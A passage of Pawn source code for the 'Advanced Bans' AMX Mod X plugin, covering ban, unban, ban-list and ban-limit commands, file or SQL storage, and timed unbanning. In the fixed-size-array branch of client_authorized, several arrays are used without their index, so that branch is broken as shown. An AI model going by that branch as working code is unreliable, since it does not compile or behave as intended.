//#define KEEP_DEFAULT_BANS


// uncomment the line below if you want the history to be in one file
//#define HISTORY_ONE_FILE


// if you must have a maximum amount of bans to be compatible with AMXX versions before 1.8.0
// change this number to your maximum amount
// if you would rather have unlimited (requires AMXX 1.8.0 or higher) then set it to 0
#define MAX_BANS 0


// if you want to use SQL for your server, then uncomment the line below
//#define USING_SQL


// ===============================================
// CUSTOMIZATION ENDS HERE
// ===============================================



#if defined USING_SQL
#include <sqlx>

#define TABLE_NAME		"advanced_bans"
#define KEY_NAME		"name"
#define KEY_STEAMID		"steamid"
#define KEY_BANLENGTH		"banlength"
#define KEY_UNBANTIME		"unbantime"
#define KEY_REASON		"reason"
#define KEY_ADMIN_NAME		"admin_name"
#define KEY_ADMIN_STEAMID	"admin_steamid"

#define RELOAD_BANS_INTERVAL	60.0
#endif

#define REGEX_IP_PATTERN "\b(25[0-5]|2[0-4][0-9]|[01]?[0-9][0-9]?)\.(25[0-5]|2[0-4][0-9]|[01]?[0-9][0-9]?)\.(25[0-5]|2[0-4][0-9]|[01]?[0-9][0-9]?)\.(25[0-5]|2[0-4][0-9]|[01]?[0-9][0-9]?)\b"
#define REGEX_STEAMID_PATTERN "^^STEAM_0:(0|1):\d+$"

new Regex:g_IP_pattern;
new Regex:g_SteamID_pattern;
new g_regex_return;

/*bool:IsValidIP(const ip[])
{
	return regex_match_c(ip, g_IP_pattern, g_regex_return) > 0;
}*/

#define IsValidIP(%1) (regex_match_c(%1, g_IP_pattern, g_regex_return) > 0)

/*bool:IsValidAuthid(const authid[])
{
	return regex_match_c(authid, g_SteamID_pattern, g_regex_return) > 0;
}*/

#define IsValidAuthid(%1) (regex_match_c(%1, g_SteamID_pattern, g_regex_return) > 0)


enum // for name displaying
{
	ACTIVITY_NONE, // nothing is shown
	ACTIVITY_HIDE, // admin name is hidden
	ACTIVITY_SHOW  // admin name is shown
};
new const g_admin_activity[] =
{
	ACTIVITY_NONE, // amx_show_activity 0 = show nothing to everyone
	ACTIVITY_HIDE, // amx_show_activity 1 = hide admin name from everyone
	ACTIVITY_SHOW, // amx_show_activity 2 = show admin name to everyone
	ACTIVITY_SHOW, // amx_show_activity 3 = show name to admins but hide it from normal users
	ACTIVITY_SHOW, // amx_show_activity 4 = show name to admins but show nothing to normal users
	ACTIVITY_HIDE  // amx_show_activity 5 = hide name from admins but show nothing to normal users
};
new const g_normal_activity[] =
{
	ACTIVITY_NONE, // amx_show_activity 0 = show nothing to everyone
	ACTIVITY_HIDE, // amx_show_activity 1 = hide admin name from everyone
	ACTIVITY_SHOW, // amx_show_activity 2 = show admin name to everyone
	ACTIVITY_HIDE, // amx_show_activity 3 = show name to admins but hide it from normal users
	ACTIVITY_NONE, // amx_show_activity 4 = show name to admins but show nothing to normal users
	ACTIVITY_NONE  // amx_show_activity 5 = hide name from admins but show nothing to normal users
};


#if MAX_BANS <= 0
enum _:BannedData
{
	bd_name[32],
	bd_steamid[35],
	bd_banlength,
	bd_unbantime[32],
	bd_reason[128],
	bd_admin_name[64],
	bd_admin_steamid[35]
};

new Trie:g_trie;
new Array:g_array;
#else
new g_names[MAX_BANS][32];
new g_steamids[MAX_BANS][35];
new g_banlengths[MAX_BANS];
new g_unbantimes[MAX_BANS][32];
new g_reasons[MAX_BANS][128];
new g_admin_names[MAX_BANS][64];
new g_admin_steamids[MAX_BANS][35];
#endif
new g_total_bans;

#if !defined USING_SQL
new g_ban_file[64];
#else
new Handle:g_sql_tuple;
new bool:g_loading_bans = true;
#endif

new ab_website;
new ab_immunity;
new ab_bandelay;
new ab_unbancheck;

new amx_show_activity;

#if MAX_BANS <= 0
new Array:g_maxban_times;
new Array:g_maxban_flags;
#else
#define MAX_BANLIMITS	30
new g_maxban_times[MAX_BANLIMITS];
new g_maxban_flags[MAX_BANLIMITS];
#endif
new g_total_maxban_times;

new g_unban_entity;

new g_max_clients;

new g_msgid_SayText;

public plugin_init()
{
	register_plugin(PLUGIN_NAME, PLUGIN_VERSION, PLUGIN_AUTHOR);
	register_cvar("advanced_bans", PLUGIN_VERSION, FCVAR_SPONLY);
	
	register_dictionary("advanced_bans.txt");
	
	register_concmd("amx_ban", "CmdBan", ADMIN_BAN, "<nick, #userid, authid> <time in minutes> <reason>");
	register_concmd("amx_banip", "CmdBanIp", ADMIN_BAN, "<nick, #userid, authid> <time in minutes> <reason>");
	register_concmd("amx_addban", "CmdAddBan", ADMIN_BAN, "<name> <authid or ip> <time in minutes> <reason>");
	register_concmd("amx_unban", "CmdUnban", ADMIN_BAN, "<authid or ip>");
	register_concmd("amx_banlist", "CmdBanList", ADMIN_BAN, "[start] -- shows everyone who is banned");
	register_srvcmd("amx_addbanlimit", "CmdAddBanLimit", -1, "<flag> <time in minutes>");
	
	ab_website = register_cvar("ab_website", "");
	ab_immunity = register_cvar("ab_immunity", "1");
	ab_bandelay = register_cvar("ab_bandelay", "1.0");
	ab_unbancheck = register_cvar("ab_unbancheck", "5.0");
	
	amx_show_activity = register_cvar("amx_show_activity", "2");
	
	#if MAX_BANS <= 0
	g_trie = TrieCreate();
	g_array = ArrayCreate(BannedData);
	#endif
	
	#if !defined MAX_BANLIMITS
	g_maxban_times = ArrayCreate(1);
	g_maxban_flags = ArrayCreate(1);
	#endif
	
	#if !defined USING_SQL
	get_datadir(g_ban_file, sizeof(g_ban_file) - 1);
	add(g_ban_file, sizeof(g_ban_file) - 1, "/advanced_bans.txt");
	
	LoadBans();
	#else
	g_sql_tuple = SQL_MakeStdTuple();
	PrepareTable();
	#endif
	
	new error[2];
	g_IP_pattern = regex_compile(REGEX_IP_PATTERN, g_regex_return, error, sizeof(error) - 1);
	g_SteamID_pattern = regex_compile(REGEX_STEAMID_PATTERN, g_regex_return, error, sizeof(error) - 1);
	
	g_max_clients = get_maxplayers();
	
	g_msgid_SayText = get_user_msgid("SayText");
}

#if defined USING_SQL
PrepareTable()
{
	new query[128];
	formatex(query, sizeof(query) - 1,\
		"CREATE TABLE IF NOT EXISTS `%s` (`%s` varchar(32) NOT NULL, `%s` varchar(35) NOT NULL, `%s` int(10) NOT NULL, `%s` varchar(32) NOT NULL, `%s` varchar(128) NOT NULL, `%s` varchar(64) NOT NULL, `%s` varchar(35) NOT NULL);",\
		TABLE_NAME, KEY_NAME, KEY_STEAMID, KEY_BANLENGTH, KEY_UNBANTIME, KEY_REASON, KEY_ADMIN_NAME, KEY_ADMIN_STEAMID
		);
	
	SQL_ThreadQuery(g_sql_tuple, "QueryCreateTable", query);
}

public QueryCreateTable(failstate, Handle:query, error[], errcode, data[], datasize, Float:queuetime)
{
	if( failstate == TQUERY_CONNECT_FAILED )
	{
		set_fail_state("Could not connect to database.");
	}
	else if( failstate == TQUERY_QUERY_FAILED )
	{
		set_fail_state("Query failed.");
	}
	else if( errcode )
	{
		log_amx("Error on query: %s", error);
	}
	else
	{
		LoadBans();
	}
}
#endif

public plugin_cfg()
{
	CreateUnbanEntity();
}

public CreateUnbanEntity()
{
	static failtimes;
	
	g_unban_entity = create_entity("info_target");
	
	if( !is_valid_ent(g_unban_entity) )
	{
		++failtimes;
		
		log_amx("[ERROR] Failed to create unban entity (%i/10)", failtimes);
		
		if( failtimes < 10 )
		{
			set_task(1.0, "CreateUnbanEntity");
		}
		else
		{
			log_amx("[ERROR] Could not create unban entity!");
		}
		
		return;
	}
	
	entity_set_string(g_unban_entity, EV_SZ_classname, "unban_entity");
	entity_set_float(g_unban_entity, EV_FL_nextthink, get_gametime() + 1.0);
	
	register_think("unban_entity", "FwdThink");
}

public client_authorized(client)
{
	static authid[35];
	get_user_authid(client, authid, sizeof(authid) - 1);
	
	static ip[35];
	get_user_ip(client, ip, sizeof(ip) - 1, 1);
	
	#if MAX_BANS > 0
	static banned_authid[35], bool:is_ip;
	for( new i = 0; i < g_total_bans; i++ )
	{
		copy(banned_authid, sizeof(banned_authid) - 1, g_steamids);
		
		is_ip = bool:(containi(banned_authid, ".") != -1);
		
		if( is_ip && equal(ip, banned_authid) || !is_ip && equal(authid, banned_authid) )
		{
			static name[32], reason[128], unbantime[32], admin_name[32], admin_steamid[64];
			copy(name, sizeof(name) - 1, g_names);
			copy(reason, sizeof(reason) - 1, g_reasons);
			new banlength = g_banlengths;
			copy(unbantime, sizeof(unbantime) - 1, g_unbantimes);
			copy(admin_name, sizeof(admin_name) - 1, g_admin_names);
			copy(admin_steamid, sizeof(admin_steamid) - 1, g_admin_steamids);
			
			PrintBanInformation(client, name, banned_authid, reason, banlength, unbantime, admin_name, admin_steamid, true, true);
			
			set_task(get_pcvar_float(ab_bandelay), "TaskDisconnectPlayer", client);
			break;
		}
	}
	#else
	static array_pos;
	
	if( TrieGetCell(g_trie, authid, array_pos) || TrieGetCell(g_trie, ip, array_pos) )
	{
		static data[BannedData];
		ArrayGetArray(g_array, array_pos, data);
		
		PrintBanInformation(client, data[bd_name], data[bd_steamid], data[bd_reason], data[bd_banlength], data[bd_unbantime], data[bd_admin_name], data[bd_admin_steamid], true, true);
		
		set_task(get_pcvar_float(ab_bandelay), "TaskDisconnectPlayer", client);
	}
	#endif
}

public CmdBan(client, level, cid)
{
	if( !cmd_access(client, level, cid, 4) ) return PLUGIN_HANDLED;
	
	static arg[128];
	read_argv(1, arg, sizeof(arg) - 1);
	
	new target = cmd_target(client, arg, GetTargetFlags(client));
	if( !target ) return PLUGIN_HANDLED;
	
	static target_authid[35];
	get_user_authid(target, target_authid, sizeof(target_authid) - 1);
	
	if( !IsValidAuthid(target_authid) )
	{
		console_print(client, "[AdvancedBans] %L", client, "AB_NOT_AUTHORIZED");
		return PLUGIN_HANDLED;
	}
	
	#if MAX_BANS <= 0
	if( TrieKeyExists(g_trie, target_authid) )
	{
		console_print(client, "[AdvancedBans] %L", client, "AB_ALREADY_BANNED_STEAMID");
		return PLUGIN_HANDLED;
	}
	#else
	for( new i = 0; i < g_total_bans; i++ )
	{
		if( !strcmp(target_authid, g_steamids[i], 1) )
		{
			console_print(client, "[AdvancedBans] %L", client, "AB_ALREADY_BANNED_STEAMID");
			return PLUGIN_HANDLED;
		}
	}
	#endif
	
	read_argv(2, arg, sizeof(arg) - 1);
	
	new length = str_to_num(arg);
	new maxlength = GetMaxBanTime(client);
	
	if( maxlength && (!length || length > maxlength) )
	{
		console_print(client, "[AdvancedBans] %L", client, "AB_MAX_BAN_TIME", maxlength);
		return PLUGIN_HANDLED;
	}
	
	static unban_time[64];
	if( length == 0 )
	{
		formatex(unban_time, sizeof(unban_time) - 1, "%L", client, "AB_PERMANENT_BAN");
	}
	else
	{
		GenerateUnbanTime(length, unban_time, sizeof(unban_time) - 1);
	}
	
	read_argv(3, arg, sizeof(arg) - 1);
	
	static admin_name[64], target_name[32];
	get_user_name(client, admin_name, sizeof(admin_name) - 1);
	get_user_name(target, target_name, sizeof(target_name) - 1);
	
	static admin_authid[35];
	get_user_authid(client, admin_authid, sizeof(admin_authid) - 1);
	
	AddBan(target_name, target_authid, arg, length, unban_time, admin_name, admin_authid);
	
	PrintBanInformation(target, target_name, target_authid, arg, length, unban_time, admin_name, admin_authid, true, true);
	PrintBanInformation(client, target_name, target_authid, arg, length, unban_time, admin_name, admin_authid, false, false);
	
	set_task(get_pcvar_float(ab_bandelay), "TaskDisconnectPlayer", target);
	
	GetBanTime(length, unban_time, sizeof(unban_time) - 1);
	
	PrintActivity(admin_name, "^x04[AdvancedBans] $name^x01 :^x03  banned %s. Reason: %s. Ban Length: %s", target_name, arg, unban_time);
	
	Log("%s <%s> banned %s <%s> || Reason: ^"%s^" || Ban Length: %s", admin_name, admin_authid, target_name, target_authid, arg, unban_time);
	
	return PLUGIN_HANDLED;
}

public CmdBanIp(client, level, cid)
{
	if( !cmd_access(client, level, cid, 4) ) return PLUGIN_HANDLED;
	
	static arg[128];
	read_argv(1, arg, sizeof(arg) - 1);
	
	new target = cmd_target(client, arg, GetTargetFlags(client));
	if( !target ) return PLUGIN_HANDLED;
	
	static target_ip[35];
	get_user_ip(target, target_ip, sizeof(target_ip) - 1, 1);
	
	#if MAX_BANS <= 0
	if( TrieKeyExists(g_trie, target_ip) )
	{
		console_print(client, "[AdvancedBans] %L", client, "AB_ALREADY_BANNED_IP");
		return PLUGIN_HANDLED;
	}
	#else
	for( new i = 0; i < g_total_bans; i++ )
	{
		if( !strcmp(target_ip, g_steamids[i], 1) )
		{
			console_print(client, "[AdvancedBans] %L", client, "AB_ALREADY_BANNED_IP");
			return PLUGIN_HANDLED;
		}
	}
	#endif
	
	read_argv(2, arg, sizeof(arg) - 1);
	
	new length = str_to_num(arg);
	new maxlength = GetMaxBanTime(client);
	
	if( maxlength && (!length || length > maxlength) )
	{
		console_print(client, "[AdvancedBans] %L", client, "AB_MAX_BAN_TIME", maxlength);
		return PLUGIN_HANDLED;
	}
	
	static unban_time[32];
	
	if( length == 0 )
	{
		formatex(unban_time, sizeof(unban_time) - 1, "%L", client, "AB_PERMANENT_BAN");
	}
	else
	{
		GenerateUnbanTime(length, unban_time, sizeof(unban_time) - 1);
	}
	
	read_argv(3, arg, sizeof(arg) - 1);
	
	static admin_name[64], target_name[32];
	get_user_name(client, admin_name, sizeof(admin_name) - 1);
	get_user_name(target, target_name, sizeof(target_name) - 1);
	
	static admin_authid[35];
	get_user_authid(client, admin_authid, sizeof(admin_authid) - 1);
	
	AddBan(target_name, target_ip, arg, length, unban_time, admin_name, admin_authid);
	
	PrintBanInformation(target, target_name, target_ip, arg, length, unban_time, admin_name, admin_authid, true, true);
	PrintBanInformation(client, target_name, target_ip, arg, length, unban_time, admin_name, admin_authid, false, false);
	
	set_task(get_pcvar_float(ab_bandelay), "TaskDisconnectPlayer", target);
	
	GetBanTime(length, unban_time, sizeof(unban_time) - 1);
	
	PrintActivity(admin_name, "^x04[AdvancedBans] $name^x01 :^x03  banned %s. Reason: %s. Ban Length: %s", target_name, arg, unban_time);
	
	Log("%s <%s> banned %s <%s> || Reason: ^"%s^" || Ban Length: %s", admin_name, admin_authid, target_name, target_ip, arg, unban_time);
	
	return PLUGIN_HANDLED;
}

public CmdAddBan(client, level, cid)
{
	if( !cmd_access(client, level, cid, 5) ) return PLUGIN_HANDLED;
	
	static target_name[32], target_authid[35], bantime[10], reason[128];
	read_argv(1, target_name, sizeof(target_name) - 1);
	read_argv(2, target_authid, sizeof(target_authid) - 1);
	read_argv(3, bantime, sizeof(bantime) - 1);
	read_argv(4, reason, sizeof(reason) - 1);
	
	new bool:is_ip = bool:(containi(target_authid, ".") != -1);
	
	if( !is_ip && !IsValidAuthid(target_authid) )
	{
		console_print(client, "[AdvancedBans] %L", client, "AB_INVALID_STEAMID");
		console_print(client, "[AdvancedBans] %L", client, "AB_VALID_STEAMID_FORMAT");
		
		return PLUGIN_HANDLED;
	}
	else if( is_ip )
	{
		new pos = contain(target_authid, ":");
		if( pos > 0 )
		{
			target_authid[pos] = 0;
		}
		
		if( !IsValidIP(target_authid) )
		{
			console_print(client, "[AdvancedBans] %L", client, "AB_INVALID_IP");
			
			return PLUGIN_HANDLED;
		}
	}
	
	#if MAX_BANS <= 0
	if( TrieKeyExists(g_trie, target_authid) )
	{
		console_print(client, "[AdvancedBans] %L", client, is_ip ? "AB_ALREADY_BANNED_IP" : "AB_ALREADY_BANNED_STEAMID");
		return PLUGIN_HANDLED;
	}
	#else
	for( new i = 0; i < g_total_bans; i++ )
	{
		if( !strcmp(target_authid, g_steamids[i], 1) )
		{
			console_print(client, "[AdvancedBans] %L", client, is_ip ? "AB_ALREADY_BANNED_IP" : "AB_ALREADY_BANNED_STEAMID");
			return PLUGIN_HANDLED;
		}
	}
	#endif
	
	new length = str_to_num(bantime);
	new maxlength = GetMaxBanTime(client);
	
	if( maxlength && (!length || length > maxlength) )
	{
		console_print(client, "[AdvancedBans] %L", client, "AB_MAX_BAN_TIME", maxlength);
		return PLUGIN_HANDLED;
	}
	
	if( is_user_connected(find_player(is_ip ? "d" : "c", target_authid)) )
	{
		client_cmd(client, "amx_ban ^"%s^" %i ^"%s^"", target_authid, length, reason);
		return PLUGIN_HANDLED;
	}
	
	static unban_time[32];
	if( length == 0 )
	{
		formatex(unban_time, sizeof(unban_time) - 1, "%L", client, "AB_PERMANENT_BAN");
	}
	else
	{
		GenerateUnbanTime(length, unban_time, sizeof(unban_time) - 1);
	}
	
	static admin_name[64], admin_authid[35];
	get_user_name(client, admin_name, sizeof(admin_name) - 1);
	get_user_authid(client, admin_authid, sizeof(admin_authid) - 1);
	
	AddBan(target_name, target_authid, reason, length, unban_time, admin_name, admin_authid);
	
	PrintBanInformation(client, target_name, target_authid, reason, length, unban_time, "", "", false, false);
	
	GetBanTime(length, unban_time, sizeof(unban_time) - 1);
	
	PrintActivity(admin_name, "^x04[AdvancedBans] $name^x01 :^x03  banned %s %s. Reason: %s. Ban Length: %s", is_ip ? "IP" : "SteamID", target_authid, reason, unban_time);
	
	Log("%s <%s> banned %s <%s> || Reason: ^"%s^" || Ban Length: %s", admin_name, admin_authid, target_name, target_authid, reason, unban_time);
	
	return PLUGIN_HANDLED;
}

public CmdUnban(client, level, cid)
{
	if( !cmd_access(client, level, cid, 2) ) return PLUGIN_HANDLED;
	
	static arg[35];
	read_argv(1, arg, sizeof(arg) - 1);
	
	#if MAX_BANS > 0
	static banned_authid[35];
	for( new i = 0; i < g_total_bans; i++ )
	{
		copy(banned_authid, sizeof(banned_authid) - 1, g_steamids[i]);
		
		if( equal(arg, banned_authid) )
		{
			static admin_name[64];
			get_user_name(client, admin_name, sizeof(admin_name) - 1);
			
			static name[32], reason[128];
			copy(name, sizeof(name) - 1, g_names[i]);
			copy(reason, sizeof(reason) - 1, g_reasons[i]);
			
			PrintActivity(admin_name, "^x04[AdvancedBans] $name^x01 :^x03  unbanned %s^x01 [%s] [Ban Reason: %s]", name, arg, reason);
			
			static authid[35];
			get_user_authid(client, authid, sizeof(authid) - 1);
			
			Log("%s <%s> unbanned %s <%s> || Ban Reason: ^"%s^"", admin_name, authid, name, arg, reason);
			
			RemoveBan(i);
			
			return PLUGIN_HANDLED;
		}
	}
	#else
	if( TrieKeyExists(g_trie, arg) )
	{
		static array_pos;
		TrieGetCell(g_trie, arg, array_pos);
		
		static data[BannedData];
		ArrayGetArray(g_array, array_pos, data);
		
		static unban_name[32];
		get_user_name(client, unban_name, sizeof(unban_name) - 1);
		
		PrintActivity(unban_name, "^x04[AdvancedBans] $name^x01 :^x03  unbanned %s^x01 [%s] [Ban Reason: %s]", data[bd_name], data[bd_steamid], data[bd_reason]);
		
		static admin_name[64];
		get_user_name(client, admin_name, sizeof(admin_name) - 1);
		
		static authid[35];
		get_user_authid(client, authid, sizeof(authid) - 1);
		
		Log("%s <%s> unbanned %s <%s> || Ban Reason: ^"%s^"", admin_name, authid, data[bd_name], data[bd_steamid], data[bd_reason]);
		
		RemoveBan(array_pos, data[bd_steamid]);
		
		return PLUGIN_HANDLED;
	}
	#endif
	
	console_print(client, "[AdvancedBans] %L", client, "AB_NOT_IN_BAN_LIST", arg);
	
	return PLUGIN_HANDLED;
}

public CmdBanList(client, level, cid)
{
	if( !cmd_access(client, level, cid, 1) ) return PLUGIN_HANDLED;
	
	if( !g_total_bans )
	{
		console_print(client, "[AdvancedBans] %L", client, "AB_NO_BANS");
		return PLUGIN_HANDLED;
	}
	
	static start;
	
	if( read_argc() > 1 )
	{
		static arg[5];
		read_argv(1, arg, sizeof(arg) - 1);
		
		start = min(str_to_num(arg), g_total_bans) - 1;
	}
	else
	{
		start = 0;
	}
	
	new last = min(start + 10, g_total_bans);
	
	if( client == 0 )
	{
		server_cmd("echo ^"%L^"", client, "AB_BAN_LIST_NUM", start + 1, last);
	}
	else
	{
		client_cmd(client, "echo ^"%L^"", client, "AB_BAN_LIST_NUM", start + 1, last);
	}
	
	for( new i = start; i < last; i++ )
	{
		#if MAX_BANS <= 0
		static data[BannedData];
		ArrayGetArray(g_array, i, data);
		
		PrintBanInformation(client, data[bd_name], data[bd_steamid], data[bd_reason], data[bd_banlength], data[bd_unbantime], data[bd_admin_name], data[bd_admin_steamid], true, false);
		#else
		static name[32], steamid[35], reason[128], banlength, unbantime[32], admin_name[32], admin_steamid[35];
		
		copy(name, sizeof(name) - 1, g_names[i]);
		copy(steamid, sizeof(steamid) - 1, g_steamids[i]);
		copy(reason, sizeof(reason) - 1, g_reasons[i]);
		banlength = g_banlengths[i];
		copy(unbantime, sizeof(unbantime) - 1, g_unbantimes[i]);
		copy(admin_name, sizeof(admin_name) - 1, g_admin_names[i]);
		copy(admin_steamid, sizeof(admin_steamid) - 1, g_admin_steamids[i]);
		
		PrintBanInformation(client, name, steamid, reason, banlength, unbantime, admin_name, admin_steamid, true, false);
		#endif
	}
	
	if( ++last < g_total_bans )
	{
		if( client == 0 )
		{
			server_cmd("echo ^"%L^"", client, "AB_BAN_LIST_NEXT", last);
		}
		else
		{
			client_cmd(client, "echo ^"%L^"", client, "AB_BAN_LIST_NEXT", last);
		}
	}
	
	return PLUGIN_HANDLED;
}

public CmdAddBanLimit()
{
	if( read_argc() != 3 )
	{
		log_amx("amx_addbanlimit was used with incorrect parameters!");
		log_amx("Usage: amx_addbanlimit <flags> <time in minutes>");
		return PLUGIN_HANDLED;
	}
	
	static arg[16];
	
	read_argv(1, arg, sizeof(arg) - 1);
	new flags = read_flags(arg);
	
	read_argv(2, arg, sizeof(arg) - 1);
	new minutes = str_to_num(arg);
	
	#if !defined MAX_BANLIMITS
	ArrayPushCell(g_maxban_flags, flags);
	ArrayPushCell(g_maxban_times, minutes);
	#else
	if( g_total_maxban_times >= MAX_BANLIMITS )
	{
		static notified;
		if( !notified )
		{
			log_amx("The amx_addbanlimit has reached its maximum!");
			notified = 1;
		}
		return PLUGIN_HANDLED;
	}
	
	g_maxban_flags[g_total_maxban_times] = flags;
	g_maxban_times[g_total_maxban_times] = minutes;
	#endif
	g_total_maxban_times++;
	
	return PLUGIN_HANDLED;
}

public FwdThink(entity)
{
	if( entity != g_unban_entity ) return;
	
	#if defined USING_SQL
	if( g_total_bans > 0 && !g_loading_bans )
	#else
	if( g_total_bans > 0 )
	#endif
	{
		static _hours[5], _minutes[5], _seconds[5], _month[5], _day[5], _year[7];
		format_time(_hours, sizeof(_hours) - 1, "%H");
		format_time(_minutes, sizeof(_minutes) - 1, "%M");
		format_time(_seconds, sizeof(_seconds) - 1, "%S");
		format_time(_month, sizeof(_month) - 1, "%m");
		format_time(_day, sizeof(_day) - 1, "%d");
		format_time(_year, sizeof(_year) - 1, "%Y");
		
		// c = current
		// u = unban
		
		new c_hours = str_to_num(_hours);
		new c_minutes = str_to_num(_minutes);
		new c_seconds = str_to_num(_seconds);
		new c_month = str_to_num(_month);
		new c_day = str_to_num(_day);
		new c_year = str_to_num(_year);
		
		static unban_time[32];
		static u_hours, u_minutes, u_seconds, u_month, u_day, u_year;
		
		for( new i = 0; i < g_total_bans; i++ )
		{
			#if MAX_BANS <= 0
			static data[BannedData];
			ArrayGetArray(g_array, i, data);
			
			if( data[bd_banlength] == 0 ) continue;
			#else
			if( g_banlengths[i] == 0 ) continue;
			#endif
			
			#if MAX_BANS <= 0
			copy(unban_time, sizeof(unban_time) - 1, data[bd_unbantime]);
			#else
			copy(unban_time, sizeof(unban_time) - 1, g_unbantimes[i]);
			#endif
			replace_all(unban_time, sizeof(unban_time) - 1, ":", " ");
			replace_all(unban_time, sizeof(unban_time) - 1, "/", " ");
			
			parse(unban_time,\
				_hours, sizeof(_hours) - 1,\
				_minutes, sizeof(_minutes) - 1,\
				_seconds, sizeof(_seconds) - 1,\
				_month, sizeof(_month) - 1,\
				_day, sizeof(_day) - 1,\
				_year, sizeof(_year) - 1
				);
			
			u_hours = str_to_num(_hours);
			u_minutes = str_to_num(_minutes);
			u_seconds = str_to_num(_seconds);
			u_month = str_to_num(_month);
			u_day = str_to_num(_day);
			u_year = str_to_num(_year);
			
			if( u_year < c_year
			|| u_year == c_year && u_month < c_month
			|| u_year == c_year && u_month == c_month && u_day < c_day
			|| u_year == c_year && u_month == c_month && u_day == c_day && u_hours < c_hours
			|| u_year == c_year && u_month == c_month && u_day == c_day && u_hours == c_hours && u_minutes < c_minutes
			|| u_year == c_year && u_month == c_month && u_day == c_day && u_hours == c_hours && u_minutes == c_minutes && u_seconds <= c_seconds )
			{
				#if MAX_BANS <= 0
				Log("Ban time is up for: %s [%s]", data[bd_name], data[bd_steamid]);
				
				Print("^x04[AdvancedBans]^x03 %s^x01[^x04%s^x01]^x03 ban time is up!^x01 [Ban Reason: %s]", data[bd_name], data[bd_steamid], data[bd_reason]);
				
				RemoveBan(i, data[bd_steamid]);
				#else
				Log("Ban time is up for: %s [%s]", g_names[i], g_steamids[i]);
				
				Print("^x04[AdvancedBans]^x03 %s^x01[^x04%s^x01]^x03 ban time is up!^x01 [Ban Reason: %s]", g_names[i], g_steamids[i], g_reasons[i]);
				
				RemoveBan(i);
				#endif
				
				i--; // current pos was replaced with another ban, so we need to check it again.
			}
		}
	}
	
	entity_set_float(g_unban_entity, EV_FL_nextthink, get_gametime() + get_pcvar_float(ab_unbancheck));
}

public TaskDisconnectPlayer(client)
{
	server_cmd("kick #%i ^"You are banned from this server. Check your console^"", get_user_userid(client));
}

AddBan(const target_name[], const target_steamid[], const reason[], const length, const unban_time[], const admin_name[], const admin_steamid[])
{
	#if MAX_BANS > 0
	if( g_total_bans == MAX_BANS )
	{
		log_amx("Ban list is full! (%i)", g_total_bans);
		return;
	}
	#endif
	
	#if defined USING_SQL
	static target_name2[32], reason2[128], admin_name2[32];
	MakeStringSQLSafe(target_name, target_name2, sizeof(target_name2) - 1);
	MakeStringSQLSafe(reason, reason2, sizeof(reason2) - 1);
	MakeStringSQLSafe(admin_name, admin_name2, sizeof(admin_name2) - 1);
	
	static query[512];
	formatex(query, sizeof(query) - 1,\
		"INSERT INTO `%s` (`%s`, `%s`, `%s`, `%s`, `%s`, `%s`, `%s`) VALUES ('%s', '%s', '%i', '%s', '%s', '%s', '%s');",\
		TABLE_NAME, KEY_NAME, KEY_STEAMID, KEY_BANLENGTH, KEY_UNBANTIME, KEY_REASON, KEY_ADMIN_NAME, KEY_ADMIN_STEAMID,\
		target_name2, target_steamid, length, unban_time, reason2, admin_name2, admin_steamid
		);
	
	SQL_ThreadQuery(g_sql_tuple, "QueryAddBan", query);
	#else
	new f = fopen(g_ban_file, "a+");
	
	fprintf(f, "^"%s^" ^"%s^" %i ^"%s^" ^"%s^" ^"%s^" ^"%s^"^n",\
		target_steamid,\
		target_name,\
		length,\
		unban_time,\
		reason,\
		admin_name,\
		admin_steamid
		);
	
	fclose(f);
	#endif
	
	#if MAX_BANS <= 0
	static data[BannedData];
	copy(data[bd_name], sizeof(data[bd_name]) - 1, target_name);
	copy(data[bd_steamid], sizeof(data[bd_steamid]) - 1, target_steamid);
	data[bd_banlength] = length;
	copy(data[bd_unbantime], sizeof(data[bd_unbantime]) - 1, unban_time);
	copy(data[bd_reason], sizeof(data[bd_reason]) - 1, reason);
	copy(data[bd_admin_name], sizeof(data[bd_admin_name]) - 1, admin_name);
	copy(data[bd_admin_steamid], sizeof(data[bd_admin_steamid]) - 1, admin_steamid);
	
	TrieSetCell(g_trie, target_steamid, g_total_bans);
	ArrayPushArray(g_array, data);
	#else
	copy(g_names[g_total_bans], sizeof(g_names[]) - 1, target_name);
	copy(g_steamids[g_total_bans], sizeof(g_steamids[]) - 1, target_steamid);
	g_banlengths[g_total_bans] = length;
	copy(g_unbantimes[g_total_bans], sizeof(g_unbantimes[]) - 1, unban_time);
	copy(g_reasons[g_total_bans], sizeof(g_reasons[]) - 1, reason);
	copy(g_admin_names[g_total_bans], sizeof(g_admin_names[]) - 1, admin_name);
	copy(g_admin_steamids[g_total_bans], sizeof(g_admin_steamids[]) - 1, admin_steamid);
	#endif
	
	g_total_bans++;
	
	#if MAX_BANS > 0
	if( g_total_bans == MAX_BANS )
	{
		log_amx("Ban list is full! (%i)", g_total_bans);
	}
	#endif
}

#if defined USING_SQL
public QueryAddBan(failstate, Handle:query, error[], errcode, data[], datasize, Float:queuetime)
{
	if( failstate == TQUERY_CONNECT_FAILED )
	{
		set_fail_state("Could not connect to database.");
	}
	else if( failstate == TQUERY_QUERY_FAILED )
	{
		set_fail_state("Query failed.");
	}
	else if( errcode )
	{
		log_amx("Error on query: %s", error);
	}
	else
	{
		// Yay, ban was added! We can all rejoice!
	}
}

public QueryDeleteBan(failstate, Handle:query, error[], errcode, data[], datasize, Float:queuetime)
{
	if( failstate == TQUERY_CONNECT_FAILED )
	{
		set_fail_state("Could not connect to database.");
	}
	else if( failstate == TQUERY_QUERY_FAILED )
	{
		set_fail_state("Query failed.");
	}
	else if( errcode )
	{
		log_amx("Error on query: %s", error);
	}
	else
	{
		// Yay, ban was deleted! We can all rejoice!
	}
}

public QueryLoadBans(failstate, Handle:query, error[], errcode, data[], datasize, Float:queuetime)
{
	if( failstate == TQUERY_CONNECT_FAILED )
	{
		set_fail_state("Could not connect to database.");
	}
	else if( failstate == TQUERY_QUERY_FAILED )
	{
		set_fail_state("Query failed.");
	}
	else if( errcode )
	{
		log_amx("Error on query: %s", error);
	}
	else
	{
		if( SQL_NumResults(query) )
		{
			#if MAX_BANS <= 0
			static data[BannedData];
			while( SQL_MoreResults(query) )
			#else
			while( SQL_MoreResults(query) && g_total_bans < MAX_BANS )
			#endif
			{
				#if MAX_BANS <= 0
				SQL_ReadResult(query, 0, data[bd_name], sizeof(data[bd_name]) - 1);
				SQL_ReadResult(query, 1, data[bd_steamid], sizeof(data[bd_steamid]) - 1);
				data[bd_banlength] = SQL_ReadResult(query, 2);
				SQL_ReadResult(query, 3, data[bd_unbantime], sizeof(data[bd_unbantime]) - 1);
				SQL_ReadResult(query, 4, data[bd_reason], sizeof(data[bd_reason]) - 1);
